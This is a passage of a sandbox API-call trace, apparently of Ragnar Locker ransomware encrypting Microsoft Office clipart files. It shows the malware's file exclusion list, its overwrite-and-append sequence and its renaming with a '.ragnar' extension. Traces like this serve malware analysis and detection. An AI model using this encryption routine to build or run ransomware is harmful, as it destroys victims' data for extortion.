ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0087.026] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.026] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0241043.WMF" | out: lpString1="J0241043.WMF") returned="J0241043.WMF" [0087.026] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF") returned=".WMF" [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="autorun.inf") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="boot.ini") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="bootfont.bin") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="bootsect.bak") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="bootmgr") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="bootmgr.efi") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="bootmgfw.efi") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="desktop.ini") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="iconcache.db") returned 1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="ntldr") returned -1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="ntuser.dat") returned -1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="ntuser.dat.log") returned -1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="ntuser.ini") returned -1 [0087.026] lstrcmpiW (lpString1="J0241043.WMF", lpString2="thumbs.db") returned -1 [0087.027] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.027] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.027] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.027] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.027] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.027] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.027] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf")) returned 0x20 [0087.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.028] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2738) returned 1 [0087.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.028] GetProcessHeap () returned 0x580000 [0087.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.028] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.035] VirtualAlloc (lpAddress=0x0, dwSize=0xab2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.035] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xab2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xab2, lpOverlapped=0x0) returned 1 [0087.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.035] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xab2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.036] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xab2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xab2, lpOverlapped=0x0) returned 1 [0087.036] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xab2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.036] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.036] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xab2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.036] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.036] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.036] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.036] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.036] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.036] GetProcessHeap () returned 0x580000 [0087.036] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.036] CloseHandle (hObject=0xf4) returned 1 [0087.036] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" [0087.036] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.ragnar_FD7BD9FC" [0087.036] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.037] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0087.037] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.037] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0241077.WMF" | out: lpString1="J0241077.WMF") returned="J0241077.WMF" [0087.037] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF") returned=".WMF" [0087.037] lstrcmpiW (lpString1="J0241077.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.037] lstrcmpiW (lpString1="J0241077.WMF", lpString2="autorun.inf") returned 1 [0087.037] lstrcmpiW (lpString1="J0241077.WMF", lpString2="boot.ini") returned 1 [0087.037] lstrcmpiW (lpString1="J0241077.WMF", lpString2="bootfont.bin") returned 1 [0087.037] lstrcmpiW (lpString1="J0241077.WMF", lpString2="bootsect.bak") returned 1 [0087.037] lstrcmpiW (lpString1="J0241077.WMF", lpString2="bootmgr") returned 1 [0087.037] lstrcmpiW (lpString1="J0241077.WMF", lpString2="bootmgr.efi") returned 1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="bootmgfw.efi") returned 1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="desktop.ini") returned 1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="iconcache.db") returned 1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="ntldr") returned -1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="ntuser.dat") returned -1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="ntuser.dat.log") returned -1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="ntuser.ini") returned -1 [0087.038] lstrcmpiW (lpString1="J0241077.WMF", lpString2="thumbs.db") returned -1 [0087.038] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.038] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.038] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.038] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.038] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.038] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.038] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf")) returned 0x20 [0087.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.038] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2090) returned 1 [0087.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x821, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.038] GetProcessHeap () returned 0x580000 [0087.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.039] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.077] VirtualAlloc (lpAddress=0x0, dwSize=0x82a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.077] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x82a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x82a, lpOverlapped=0x0) returned 1 [0087.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.077] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x82a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.077] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x82a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x82a, lpOverlapped=0x0) returned 1 [0087.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x82a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.078] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x82a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.078] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.078] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.078] GetProcessHeap () returned 0x580000 [0087.078] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.078] CloseHandle (hObject=0xf4) returned 1 [0087.078] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" [0087.078] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.ragnar_FD7BD9FC" [0087.078] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.079] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0087.079] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.080] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0241773.WMF" | out: lpString1="J0241773.WMF") returned="J0241773.WMF" [0087.080] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF") returned=".WMF" [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="autorun.inf") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="boot.ini") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="bootfont.bin") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="bootsect.bak") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="bootmgr") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="bootmgr.efi") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="bootmgfw.efi") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="desktop.ini") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="iconcache.db") returned 1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="ntldr") returned -1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="ntuser.dat") returned -1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="ntuser.dat.log") returned -1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="ntuser.ini") returned -1 [0087.080] lstrcmpiW (lpString1="J0241773.WMF", lpString2="thumbs.db") returned -1 [0087.080] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.080] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.080] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.080] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.080] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.080] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.080] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf")) returned 0x20 [0087.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.081] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3262) returned 1 [0087.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.082] GetProcessHeap () returned 0x580000 [0087.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.082] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.104] VirtualAlloc (lpAddress=0x0, dwSize=0xcbe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.105] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcbe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcbe, lpOverlapped=0x0) returned 1 [0087.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcbe, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.105] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcbe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcbe, lpOverlapped=0x0) returned 1 [0087.105] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcbe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.105] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.106] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.106] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.106] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.106] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.106] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.106] GetProcessHeap () returned 0x580000 [0087.106] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.106] CloseHandle (hObject=0xf4) returned 1 [0087.106] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" [0087.106] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.ragnar_FD7BD9FC" [0087.106] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.107] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0087.107] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.107] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0241781.WMF" | out: lpString1="J0241781.WMF") returned="J0241781.WMF" [0087.107] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF") returned=".WMF" [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="autorun.inf") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="boot.ini") returned 